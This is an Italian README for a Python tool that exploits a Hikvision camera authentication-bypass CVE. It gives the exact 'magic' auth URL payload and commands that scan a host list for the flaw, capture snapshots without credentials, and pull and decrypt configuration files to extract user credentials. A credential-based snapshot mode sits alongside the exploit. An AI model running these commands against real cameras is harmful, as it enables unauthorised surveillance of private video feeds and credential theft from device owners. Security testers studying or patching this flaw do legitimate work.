
HikVision Auth Bypass CVE, lo strumento è in grado di estrarre credenziali e scattare istantanee basate su magic cookie o credenziali fornite.
Strumento autonomo per elencare telecamere Hikvision da un file e acquisire un'istantanea da ciascuna utilizzando credenziali valide (autenticazione HTTP Basic o Digest) o il bypass CVE. Progettato per essere eseguito su un altro host per test.
host o host:port per riga).--save-snapshot opzionale per dispositivi vulnerabili.--exploit per usare il bypass CVE senza credenziali).--merge opzionale per creare un'immagine panoramica. Dipendenze: requests, Pillow (per --merge).requestspip install -r requirements.txt
Crea un file di testo con una telecamera per riga. I commenti con # vengono ignorati.
# Example cameras.txt
192.168.1.100
192.168.1.101:80
nvr.local:8080
Stampa le telecamere lette dal file (nessuna credenziale necessaria).
python hikvision_snapshots.py cameras.txt list
Controllo di raggiungibilità opzionale (HTTP GET a ogni host):
python hikvision_snapshots.py cameras.txt list -v
Testa ogni telecamera per il bypass CVE di autenticazione delle istantanee Hikvision. Nessuna credenziale richiesta.
python hikvision_snapshots.py cameras.txt check
Salva istantanee solo per telecamere vulnerabili:
python hikvision_snapshots.py cameras.txt check --save-snapshot -o ./vuln_snapshots
Opzioni: --timeout, --workers, -o (per --save-snapshot).
Estrae le credenziali da ogni telecamera tramite CVE (autenticazione magica per recuperare elenco utenti e file di configurazione, poi decifra la configurazione). Richiede OpenSSL sull'host. Nessuna credenziale necessaria per eseguire.
python hikvision_snapshots.py cameras.txt credentials
Opzioni: --timeout, --workers.
Verifica che le tue credenziali funzionino su ogni telecamera (usa gli stessi endpoint delle istantanee; non salva immagini).
python hikvision_snapshots.py cameras.txt auth-check -u admin -p YourPassword
Opzioni: --timeout, --workers, --digest (come per istantanea).
Acquisisce una istantanea per telecamera e la salva come JPEG. Usa credenziali valide o --exploit (bypass CVE, nessuna credenziale).
# With credentials
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword
# With CVE exploit (no credentials)
python hikvision_snapshots.py cameras.txt snapshot --exploit
snapshots/ per impostazione predefinita (usa -o per cambiare).host o host_port (ad es. 192_168_1_100.jpg, nvr_local_8080.jpg).Opzioni:
Con --merge, dopo aver salvato ogni istantanea, lo strumento costruisce un'unica immagine a griglia (overview.jpg) nella directory di output con una cella per telecamera e un'etichetta. Richiede Pillow (pip install Pillow).
Esempio con output personalizzato e autenticazione Digest:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p secret -o ./images --digest --timeout 20
Esempio con panoramica unita:
python hikvision_snapshots.py cameras.txt snapshot -u admin -p YourPassword --merge
# or with exploit (no creds):
python hikvision_snapshots.py cameras.txt snapshot --exploit --merge -o ./out
Istantanea autenticata (con credenziali): lo script prova in ordine – /ISAPI/Streaming/channels/1/picture, /ISAPI/Streaming/channels/101/picture, /onvif-http/snapshot.
CVE (check / --exploit): /onvif-http/snapshot?auth=YWRtaW46MTEK (bypass autenticazione magico, nessuna credenziale).
hikvision_snapshots.py, requirements.txt e il file elenco telecamere sull'host.pip install -r requirements.txtlist per verificare il file; usa check per CVE, auth-check per credenziali, o snapshot (con -u/-p o --exploit).Assicurati che l'host abbia accesso di rete a tutti gli IP e le porte delle telecamere.
| Opzione | Descrizione | Predefinito |
|---|
-u, --username | Nome utente telecamera | richiesto a meno di --exploit |
-p, --password | Password telecamera | richiesta a meno di --exploit |
--exploit | Usa bypass CVE magico (nessuna credenziale) | disattivato |
-o, --output-dir | Directory per le immagini delle istantanee | snapshots |
--timeout | Timeout HTTP in secondi | 15 |
--workers | Numero di richieste di istantanee concorrenti | 10 |
--digest | Usa autenticazione HTTP Digest invece di Basic | disattivato |
--merge | Unisci tutte le istantanee in un'unica immagine panoramica | disattivato |
--merge-columns | Colonne griglia per unione (predefinito: auto) | auto |